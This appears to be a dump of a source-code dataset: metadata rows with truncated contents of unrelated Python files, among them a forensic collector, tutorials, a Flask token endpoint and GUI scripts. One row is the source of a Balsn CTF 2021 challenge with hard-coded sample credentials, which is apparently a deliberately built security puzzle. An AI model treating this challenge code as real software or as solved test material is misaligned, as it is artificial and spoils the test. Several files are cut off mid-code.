hexsha stringlengths 40 40 | size int64 6 782k | ext stringclasses 7
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 237 | max_stars_repo_name stringlengths 6 72 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses list | max_stars_count int64 1 53k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 184 | max_issues_repo_name stringlengths 6 72 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses list | max_issues_count int64 1 27.1k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 184 | max_forks_repo_name stringlengths 6 72 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses list | max_forks_count int64 1 12.2k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 6 782k | avg_line_length float64 2.75 664k | max_line_length int64 5 782k | alphanum_fraction float64 0 1 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
13868f879246c68859ec6c33940fb1a1f22bad69 | 3,395 | py | Python | Fastir_Collector/fs/windowsVistaFiles.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 4 | 2021-04-23T15:39:17.000Z | 2021-12-27T22:53:24.000Z | Fastir_Collector/fs/windowsVistaFiles.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | null | null | null | Fastir_Collector/fs/windowsVistaFiles.py | Unam3dd/Train-2018-2020 | afb6ae70fe338cbe55a21b74648d91996b818fa2 | [
"MIT"
] | 2 | 2021-04-19T08:28:54.000Z | 2022-01-19T13:23:29.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from fs import _FS
class WindowsVistaFiles(_FS):
def __init__(self, params):
super(WindowsVistaFiles, self).__init__(params)
self.userprofile = params['USERPROFILE']
def __list_named_pipes(self):
return super(WindowsVista... | 43.525641 | 111 | 0.697791 |
b9f599563bea1f46bb7c67209476021b9ef4c064 | 68 | py | Python | Python/070-Input().py | sadikkuzu/HackerRank | 2b1ed2cf41f6a5404c5b9293186f301b646b5d33 | [
"Apache-2.0"
] | 5 | 2019-03-09T22:44:01.000Z | 2021-09-14T00:11:38.000Z | Python/070-Input().py | jguerra7/HackerRank-4 | 7e1663d0050ffbb0fd885b8affdada9ea13b0e80 | [
"Apache-2.0"
] | 4 | 2018-08-16T09:39:47.000Z | 2018-09-14T17:37:07.000Z | Python/070-Input().py | jguerra7/HackerRank-4 | 7e1663d0050ffbb0fd885b8affdada9ea13b0e80 | [
"Apache-2.0"
] | 1 | 2020-06-01T23:38:35.000Z | 2020-06-01T23:38:35.000Z | [x, y] = [int(c) for c in raw_input().split(' ')]
print y == input() | 34 | 49 | 0.544118 |
4c0967b1d662aca0bb4916d669b727edc68fb383 | 160 | py | Python | exercises/ja/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 2,085 | 2019-04-17T13:10:40.000Z | 2022-03-30T21:51:46.000Z | exercises/ja/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 79 | 2019-04-18T14:42:55.000Z | 2022-03-07T08:15:43.000Z | exercises/ja/exc_01_07.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
] | 361 | 2019-04-17T13:34:32.000Z | 2022-03-28T04:42:45.000Z | import spacy
# 「ja_core_news_sm」モデルをロード
nlp = ____
text = "公式発表:Appleが米国の上場企業として初めて時価評価額1兆ドルに到達しました。"
# テキストを処理
doc = ____
# docのテキストをプリント
print(____.____)
| 12.307692 | 50 | 0.76875 |
4c4e52e055f36405d43c1b30f4fe24587419d647 | 8,074 | py | Python | publ/tokens.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | 6 | 2018-03-29T02:07:44.000Z | 2018-09-26T00:17:31.000Z | publ/tokens.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | 82 | 2018-04-01T08:53:59.000Z | 2018-09-28T23:45:05.000Z | publ/tokens.py | fluffy-critter/Publ | 868c5a17c605707dde4d1a95d79405301bd12f05 | [
"MIT"
] | null | null | null | """ IndieAuth token endpoint """
import functools
import json
import logging
import time
import typing
import urllib.parse
import arrow
import flask
import itsdangerous
import requests
import werkzeug.exceptions as http_error
from pony import orm
from . import model, utils
from .config import config
LOGGER = loggin... | 33.92437 | 94 | 0.630419 |
4c69651efeb7fa6870e433061a12e8cdd6c2e2fc | 608 | py | Python | imgtl/const.py | reviforks/imgtl | b2141f9f0d7f2d318661f6ff6ab9594cff5b80f3 | [
"MIT"
] | null | null | null | imgtl/const.py | reviforks/imgtl | b2141f9f0d7f2d318661f6ff6ab9594cff5b80f3 | [
"MIT"
] | null | null | null | imgtl/const.py | reviforks/imgtl | b2141f9f0d7f2d318661f6ff6ab9594cff5b80f3 | [
"MIT"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*
from collections import OrderedDict
BASE_URL = 'https://img.tl/%s'
# SERVERS
SERVERS = OrderedDict((
('S1', 's1.img.tl'),
('S2', 's2.img.tl'),
))
# OBJ_TYPE
TYPE_IMAGE = 1
TYPE_FILE = 2
TYPE_TEXT = 3
# EXPIRE_BEHAVIOR
EXPIRE_BEHAVIORS = (
'delete',
'priv... | 18.424242 | 84 | 0.616776 |
d5bdc8662b74e93d4537ef87964eb33ced8a8711 | 366 | py | Python | python/en/archive/dropbox/ec2-oregon/lid_core.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/dropbox/ec2-oregon/lid_core.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/dropbox/ec2-oregon/lid_core.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
"""
lid_core.py
"""
# Custom package
from utils import makedirs_if_absent
from utils import save2wav
def identify_language( device_id_, sampling_rate_, payload_ ):
file = save2wav( device_id, SAMPLING_RATE, payload )
print('hello')
# preprocess( payload, SAMPLING_RA... | 24.4 | 84 | 0.721311 |
e6a5be7ec77a57ca811ac7abe02cbab84ce3bf04 | 1,107 | py | Python | python/oneflow/compatible/single_client/layers.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 3,285 | 2020-07-31T05:51:22.000Z | 2022-03-31T15:20:16.000Z | python/oneflow/compatible/single_client/layers.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 2,417 | 2020-07-31T06:28:58.000Z | 2022-03-31T23:04:14.000Z | python/oneflow/compatible/single_client/layers.py | wangyuyue/oneflow | 0a71c22fe8355392acc8dc0e301589faee4c4832 | [
"Apache-2.0"
] | 520 | 2020-07-31T05:52:42.000Z | 2022-03-29T02:38:11.000Z | """
Copyright 2020 The OneFlow Authors. All rights reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agr... | 33.545455 | 80 | 0.789521 |
e6fadb87ec4f2e48c3ab3d2f8ece993d29a2ec51 | 327 | py | Python | Python/M01_ProgrammingBasics/L01_FirstStepsInCoding/Exercises/Solutions/P08_FishTank.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L01_FirstStepsInCoding/Exercises/Solutions/P08_FishTank.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | null | null | null | Python/M01_ProgrammingBasics/L01_FirstStepsInCoding/Exercises/Solutions/P08_FishTank.py | todorkrastev/softuni-software-engineering | cfc0b5eaeb82951ff4d4668332ec3a31c59a5f84 | [
"MIT"
] | 1 | 2022-02-23T13:03:14.000Z | 2022-02-23T13:03:14.000Z | length = int(input())
width = int(input())
height = int(input())
occupied = float(input())
occupied_percent = occupied / 100
full_capacity = length * width * height
occupied_total = occupied_percent * full_capacity
remaining = full_capacity - occupied_total
capacity_in_dm = remaining / 1000
water = capacity_in_dm
print... | 29.727273 | 49 | 0.767584 |
075a93632cbfe8a22160427cf0df0508357d9411 | 6,288 | py | Python | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 1 | 2019-02-28T08:39:55.000Z | 2019-02-28T08:39:55.000Z | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 5 | 2018-07-17T13:09:34.000Z | 2018-09-11T13:55:33.000Z | Admin/res/signIn.py | BlaCkinkGJ/SFSH | 0134f1e4698ef34caee2d5a8cd875c51507b3527 | [
"MIT"
] | 2 | 2019-05-17T03:07:08.000Z | 2022-01-01T07:04:31.000Z | # -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'signIn.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
from res import signUp, status
import pipeline as pipe
from PyQt5.QtWidgets import ... | 39.797468 | 114 | 0.661737 |
4aeff121214dfee78d86d9c96293458a719dadb5 | 957 | py | Python | skripte/interface.py | Ilaris-Tools/IlarisDB | 9608afa0ebc69c2bbc13af939cb2c71321f5da37 | [
"MIT"
] | null | null | null | skripte/interface.py | Ilaris-Tools/IlarisDB | 9608afa0ebc69c2bbc13af939cb2c71321f5da37 | [
"MIT"
] | 4 | 2022-03-13T22:56:35.000Z | 2022-03-16T11:33:27.000Z | skripte/interface.py | Ilaris-dev/IlarisDB | 9608afa0ebc69c2bbc13af939cb2c71321f5da37 | [
"MIT"
] | null | null | null | import yaml
import yamale
class NoAliasDumper(yaml.SafeDumper):
def ignore_aliases(self, data):
return True
def load(table):
with open(f"../daten/{table}.yml", "r") as table_file:
table_data = yaml.load(table_file)
return table_data
def validate(table, data=None, schemaf=None):
if ... | 27.342857 | 75 | 0.642633 |
91ab5c73aaba0afcc0b14306a9cc3bed5d7b43e5 | 623 | py | Python | musterloesungen/4.4/hypotenuse.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/4.4/hypotenuse.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | musterloesungen/4.4/hypotenuse.py | giu/appe6-uzh-hs2018 | 204dea36be1e53594124b606cdfa044368e54726 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
# Kurs: Python: Grundlagen der Programmierung für Nicht-Informatiker
# Semester: Herbstsemester 2018
# Homepage: http://accaputo.ch/kurs/python-uzh-hs-2018/
# Author: Giuseppe Accaputo
# Aufgabe: 4.4
import math
def hypotenuse(a,b):
if a < 0 or b < 0:
ret... | 24.92 | 76 | 0.680578 |
72a6db606e9525b89423c77424977159dbbc1bed | 27 | py | Python | my-cs/intern/java_details/java_sort_selection_details/__init__.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | my-cs/intern/java_details/java_sort_selection_details/__init__.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | 15 | 2015-03-07T12:46:41.000Z | 2015-04-11T09:08:36.000Z | buffer/scripts-emb-ext/projects/v8-wrap-gen/sources/v8_api_gen_r16258/matrix.py | zaqwes8811/micro-apps | 7f63fdf613eff5d441a3c2c7b52d2a3d02d9736a | [
"MIT"
] | null | null | null | __author__ = 'zaqwes_user'
| 13.5 | 26 | 0.777778 |
a3e009ccf40de5e9b3b42baa9e366d10feb5593c | 5,956 | py | Python | balsn-2021-writeup/alldata/misc/darkknight/challenge.py | Jimmy01240397/balsn-2021-writeup | 91b71dfbddc1c214552280b12979a82ee1c3cb7e | [
"MIT"
] | null | null | null | balsn-2021-writeup/alldata/misc/darkknight/challenge.py | Jimmy01240397/balsn-2021-writeup | 91b71dfbddc1c214552280b12979a82ee1c3cb7e | [
"MIT"
] | null | null | null | balsn-2021-writeup/alldata/misc/darkknight/challenge.py | Jimmy01240397/balsn-2021-writeup | 91b71dfbddc1c214552280b12979a82ee1c3cb7e | [
"MIT"
] | null | null | null | import os
import shutil
base_dir = f"C:\\Users\\balsnctf\\Documents\\Dark Knight\\tmp-{os.urandom(16).hex()}"
def init():
os.mkdir(base_dir)
os.chdir(base_dir)
with open("39671", "w") as f:
f.write("alice\nalice1025")
with open("683077", "w") as f:
f.write("bob\nbob0105a")
def passwo... | 26.70852 | 85 | 0.442915 |
60c0cd827415a46d31c66b3462e5fe5c9ac90ec0 | 9,435 | py | Python | src/visitpy/visit_flow/flow/src/filters/pyocl_kernels.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/visitpy/visit_flow/flow/src/filters/pyocl_kernels.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/visitpy/visit_flow/flow/src/filters/pyocl_kernels.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # Copyright (c) Lawrence Livermore National Security, LLC and other VisIt
# Project developers. See the top-level LICENSE file for dates and other
# details. No copyright assignment is required to contribute to VisIt.
"""
file: pyocl_kernels.py
author: Cyrus Harrison <cyrush@llnl.gov>
created: 9/6/2012
descripti... | 28.248503 | 73 | 0.388977 |
8801d2b5ef8db337473836b1a6fae64413b8f56f | 11,347 | py | Python | hyperts/macro_search_space.py | zhangxjohn/HyperTS | c43c8d820d26dd362510997c1c294341279ce1e1 | [
"Apache-2.0"
] | null | null | null | hyperts/macro_search_space.py | zhangxjohn/HyperTS | c43c8d820d26dd362510997c1c294341279ce1e1 | [
"Apache-2.0"
] | null | null | null | hyperts/macro_search_space.py | zhangxjohn/HyperTS | c43c8d820d26dd362510997c1c294341279ce1e1 | [
"Apache-2.0"
] | null | null | null | # -*- coding:utf-8 -*-
"""
"""
import numpy as np
from hyperts.macro_estimators import ProphetForecastEstimator, \
VARForecastEstimator, TSFClassificationEstimator
from hyperts.transformers import TimeSeriesHyperTransformer
from hyperts.utils import consts
from hypernets.tabular import column_selector as tcs
fr... | 36.252396 | 119 | 0.628448 |
98f3c32a23563392b8045420c233953252ae871a | 4,516 | py | Python | etl/data_extraction/scrapers/dksb_kinderschutzbund.py | Betadinho/einander-helfen | 272f11397d80ab5267f39a7b36734495f1c00b0c | [
"MIT"
] | 7 | 2020-04-23T20:16:11.000Z | 2022-01-04T14:57:16.000Z | etl/data_extraction/scrapers/dksb_kinderschutzbund.py | Betadinho/einander-helfen | 272f11397d80ab5267f39a7b36734495f1c00b0c | [
"MIT"
] | 361 | 2020-04-23T17:20:14.000Z | 2022-03-02T11:29:45.000Z | etl/data_extraction/scrapers/dksb_kinderschutzbund.py | Betadinho/einander-helfen | 272f11397d80ab5267f39a7b36734495f1c00b0c | [
"MIT"
] | 1 | 2021-11-29T06:02:52.000Z | 2021-11-29T06:02:52.000Z | import re
from data_extraction.scraper import Scraper
class DKSBScraper(Scraper):
"""Scrapes the website dksb.de."""
base_url = 'https://www.dksb.de'
debug = True
def parse(self, response, url):
"""Handles the soupified response of a detail page in the predefined way and returns it"""
... | 41.814815 | 440 | 0.580602 |
1be4de6cb8b2d5185f3dc017be273257ae0589df | 6,858 | py | Python | Liquid-job-NeuMF/official/recommendation/ncf_estimator_main.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | 2 | 2021-08-30T14:12:09.000Z | 2022-01-20T02:14:22.000Z | Liquid-job-NeuMF/official/recommendation/ncf_estimator_main.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | null | null | null | Liquid-job-NeuMF/official/recommendation/ncf_estimator_main.py | PasaLab/YAO | 2e70203197cd79f9522d65731ee5dc0eb236b005 | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | 36.094737 | 81 | 0.715223 |
409ee4439c5e2beef5d84d0609d9d97498d8be26 | 3,831 | py | Python | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_array_indexing.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_array_indexing.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/_numpy/python_numpy_tutorial/python_numpy_tutorial-numpy_array_indexing.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
CS231n Convolutional Neural Networks for Visual Recognition
http://cs231n.github.io/
Python Numpy Tutorial
http://cs231n.github.io/python-numpy-tutorial/
Numpy Reference
https://docs.scipy.org/doc/numpy/reference/
 ̄
python_numpy_tutorial-numpy_array_indexing.py
2019-... | 22.273256 | 114 | 0.567476 |
31cb02371faa1d6684f8d85cec4fbda3959ffd47 | 483 | py | Python | IVTa/2014/BRONNIKOV_I_S/task_2_50.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTa/2014/BRONNIKOV_I_S/task_2_50.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | IVTa/2014/BRONNIKOV_I_S/task_2_50.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 2. Вариант 50
# Напишите программу, которая будет выводить на экран наиболее понравившееся
# вам высказывание, автором которого является Иларион (Алфеев) .
# Не забудьте о том, что автор должен быть упомянут на отдельной строке.
# Bronnikov I.S.
# 24.05.2016
print("«Нельзя «лезть в душу» человека, иб... | 40.25 | 135 | 0.728778 |
7345727c4eb218c8c13ef8fbdacaf160a942853e | 1,975 | py | Python | tests/test_silly_sum.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | tests/test_silly_sum.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | tests/test_silly_sum.py | ratschlab/software-m53 | affc6b8bffc72c5dbaa9d4eca513c42962de01fe | [
"MIT"
] | null | null | null | import pytest
import riqc.silly_sum as silly_sum
import pandas as pd
import numpy as np
import os
from click.testing import CliRunner
def path_name():
return os.path.join(os.path.dirname(__file__), 'data', 'numbers.txt')
@pytest.fixture
def fixed_number_array():
""" Returns some numbers from a file """
... | 26.333333 | 80 | 0.674937 |
6f07b1e6dd52db107d74ed2e6da84f7edff620de | 167 | py | Python | entrypoint.py | uosorio/heroku_face | 7d6465e71dba17a15d8edaef520adb2fcd09d91e | [
"Apache-2.0"
] | null | null | null | entrypoint.py | uosorio/heroku_face | 7d6465e71dba17a15d8edaef520adb2fcd09d91e | [
"Apache-2.0"
] | null | null | null | entrypoint.py | uosorio/heroku_face | 7d6465e71dba17a15d8edaef520adb2fcd09d91e | [
"Apache-2.0"
] | null | null | null |
import os
from flask import send_from_directory
from app import create_app
settings_module = os.getenv('APP_SETTINGS_MODULE')
app = create_app(settings_module)
| 12.846154 | 50 | 0.808383 |
48f52ab0eaed81e6b6dd60c19fd3bdff844586ae | 2,591 | py | Python | azext_keyvault/keyvault/models/deleted_storage_account_item_py3.py | jdmartinez36/azure-keyvault-cli-extension | 4dc674b9c30cac13e27347782c49b3ed7dca2e2f | [
"MIT"
] | 2 | 2019-06-12T13:44:34.000Z | 2020-06-01T13:24:04.000Z | azext_keyvault/keyvault/models/deleted_storage_account_item_py3.py | jdmartinez36/azure-keyvault-cli-extension | 4dc674b9c30cac13e27347782c49b3ed7dca2e2f | [
"MIT"
] | 5 | 2018-04-26T01:14:29.000Z | 2021-01-05T00:45:39.000Z | azext_keyvault/keyvault/models/deleted_storage_account_item_py3.py | jdmartinez36/azure-keyvault-cli-extension | 4dc674b9c30cac13e27347782c49b3ed7dca2e2f | [
"MIT"
] | 8 | 2018-04-24T22:52:48.000Z | 2021-11-16T06:29:28.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 40.484375 | 83 | 0.631802 |
d28cadfb615f40b4aa31a886f41c4ad1f9698e9a | 928 | py | Python | sn.py | weibk/webauto | f494f8043d05739935d1fc22b941bbc9a7ba75b7 | [
"MIT"
] | null | null | null | sn.py | weibk/webauto | f494f8043d05739935d1fc22b941bbc9a7ba75b7 | [
"MIT"
] | null | null | null | sn.py | weibk/webauto | f494f8043d05739935d1fc22b941bbc9a7ba75b7 | [
"MIT"
] | null | null | null | #!/usr/bin/python3
# encoding='utf-8'
# author:weibk
# @time:2021/10/22 14:28
from selenium import webdriver
from selenium.webdriver.common import keys
driver = webdriver.Chrome()
driver.get('https://www.suning.com/')
driver.maximize_window()
driver.find_element_by_xpath('//*[@id="searchKeywords"]').send_keys('小米10')... | 30.933333 | 75 | 0.727371 |
d2f1aaec135bcb8fa182512c8c594a6aab38e0cc | 1,830 | py | Python | ng-003/ex1-003/py_ex1/main.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | ng-003/ex1-003/py_ex1/main.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | ng-003/ex1-003/py_ex1/main.py | zaqwes8811/cs-courses | aa9cf5ad109c9cfcacaadc11bf2defb2188ddce2 | [
"Apache-2.0"
] | null | null | null | # coding: utf-8
"""
Model:
h = theta_0+theta_1 * x
x_m - matrix
x - vector
Local min:
http://book.caltech.edu/bookforum/showthread.php?p=10595
convex function
Danger:
В NumPy операции с матрицами очень опасные - никакой защиты.
Numpy:
http://wiki.scipy.org/NumPy_for_Matlab_Users
"""
import numpy
import pyla... | 19.468085 | 78 | 0.615301 |
81b20c0a66d5c408d957a27a29ad5039316e66bb | 3,802 | py | Python | watchlist_app/tests/test_watchlist_api.py | attachemd/moviedb | c2e3b7bc3c1537c64834c2ee94492122dafdfcd4 | [
"MIT"
] | null | null | null | watchlist_app/tests/test_watchlist_api.py | attachemd/moviedb | c2e3b7bc3c1537c64834c2ee94492122dafdfcd4 | [
"MIT"
] | null | null | null | watchlist_app/tests/test_watchlist_api.py | attachemd/moviedb | c2e3b7bc3c1537c64834c2ee94492122dafdfcd4 | [
"MIT"
] | null | null | null | from unittest import TestCase
from datetime import datetime
import django
from django.urls import reverse
from django.utils import timezone
from faker import Faker
from rest_framework.test import APIClient
from rest_framework import status
from core.models import WatchListModel
from watchlist_app.api.serializers impo... | 32.220339 | 82 | 0.658601 |
48402832da134998cb30b07c0cce5f9e6b5f65bd | 5,628 | py | Python | GUI/class_Bolita.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | null | null | null | GUI/class_Bolita.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | null | null | null | GUI/class_Bolita.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# coding: utf-8
# In[1]:
from PyQt5 import QtWidgets
from PyQt5.QtWidgets import QApplication, QMainWindow
#from PyQt5.QtCore import Qt
import numpy as np
#import sys
#import time
global n
rango=np.arange(1,26)
n= np.random.permutation(rango)
## Creo una segunda Clase
st = str("border-r... | 34.109091 | 120 | 0.617093 |
48500526498d8d068cf111ac518826fe54debc38 | 2,850 | py | Python | tools/legacy/mw4-erf-converter/convertErf.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 2 | 2020-03-18T18:23:27.000Z | 2020-08-02T15:59:16.000Z | tools/legacy/mw4-erf-converter/convertErf.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 5 | 2019-07-07T16:47:47.000Z | 2020-08-10T16:20:00.000Z | tools/legacy/mw4-erf-converter/convertErf.py | gifted-nguvu/darkstar-dts-converter | aa17a751a9f3361ca9bbb400ee4c9516908d1297 | [
"MIT"
] | 1 | 2020-03-18T18:23:30.000Z | 2020-03-18T18:23:30.000Z |
import sys
import json
import glob
import readErf
importFilenames = sys.argv[1:]
# lower half of mech
# hip
# (l/r)uleg (u for upper)
# (l/r)mleg (m for middle)
# (l/r)dleg (d for down)
# (l/r)foot
# (l/r)ftoe (f for front)
# (l/r)btoe (b for back)
def getMaxMinY(items):
map... | 38.513514 | 115 | 0.568421 |
6f9de8cc9e026d9da1d97f7f0a7b2fd79f1bb7e9 | 51 | py | Python | production/pygsl-0.9.5/gsl_dist/__init__.py | juhnowski/FishingRod | 457e7afb5cab424296dff95e1acf10ebf70d32a9 | [
"MIT"
] | 1 | 2019-07-29T02:53:51.000Z | 2019-07-29T02:53:51.000Z | production/pygsl-0.9.5/gsl_dist/__init__.py | juhnowski/FishingRod | 457e7afb5cab424296dff95e1acf10ebf70d32a9 | [
"MIT"
] | 1 | 2021-09-11T14:30:32.000Z | 2021-09-11T14:30:32.000Z | Dockerfiles/gedlab-khmer-filter-abund/pymodules/python2.7/lib/python/pygsl/gsl_dist/__init__.py | poojavade/Genomics_Docker | 829b5094bba18bbe03ae97daf925fee40a8476e8 | [
"Apache-2.0"
] | 2 | 2016-12-19T02:27:46.000Z | 2019-07-29T02:53:54.000Z | # Just for declaration
__all__ = ["gsl_Extension"]
| 17 | 27 | 0.745098 |
d200b5abad2f5d2d4884a423bd1145df06bca377 | 763 | py | Python | rasa/shared/utils/cli.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | 1 | 2020-10-14T18:09:10.000Z | 2020-10-14T18:09:10.000Z | rasa/shared/utils/cli.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | 187 | 2020-02-25T16:07:06.000Z | 2022-03-01T13:42:41.000Z | rasa/shared/utils/cli.py | chaneyjd/rasa | 104a9591fc10b96eaa7fe402b6d64ca652b7ebe2 | [
"Apache-2.0"
] | null | null | null | import sys
from typing import Any, Text, NoReturn
import rasa.shared.utils.io
def print_color(*args: Any, color: Text):
print(rasa.shared.utils.io.wrap_with_color(*args, color=color))
def print_success(*args: Any):
print_color(*args, color=rasa.shared.utils.io.bcolors.OKGREEN)
def print_info(*args: Any):... | 23.84375 | 72 | 0.731324 |
fb50513aa1e6c67b5d034dcff900c7f890e63cd9 | 519 | py | Python | examples/lcd.py | Elecrow-RD/Raspberry-Pi-Starter-Kit | 9adad7bfb403a697119bf80bbc2290bc3832750d | [
"MIT"
] | 1 | 2020-08-11T23:39:23.000Z | 2020-08-11T23:39:23.000Z | examples/lcd.py | Elecrow-RD/Raspberry-Pi-Starter-Kit | 9adad7bfb403a697119bf80bbc2290bc3832750d | [
"MIT"
] | null | null | null | examples/lcd.py | Elecrow-RD/Raspberry-Pi-Starter-Kit | 9adad7bfb403a697119bf80bbc2290bc3832750d | [
"MIT"
] | 1 | 2020-08-05T18:30:45.000Z | 2020-08-05T18:30:45.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
import sys
import time
import Adafruit_CharLCD as LCD
# Define LCD column and row size for 16x2 LCD.
lcd_columns = 16
lcd_rows = 2
# Initialize the LCD using the pins
lcd = LCD.Adafruit_CharLCDBackpack(address=0x21)
try:
while True:
# Turn backlight on
lcd.set... | 19.961538 | 48 | 0.687861 |
f7cfec42dd43a1a13af0bbed528255972ca7cb62 | 11,408 | py | Python | 2DNet/src/dataset/dataset.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
] | null | null | null | 2DNet/src/dataset/dataset.py | BhaveshJP25/RSNA | 48d85faf82651b1ae4fdcd829ce2d4978a858d3f | [
"MIT"
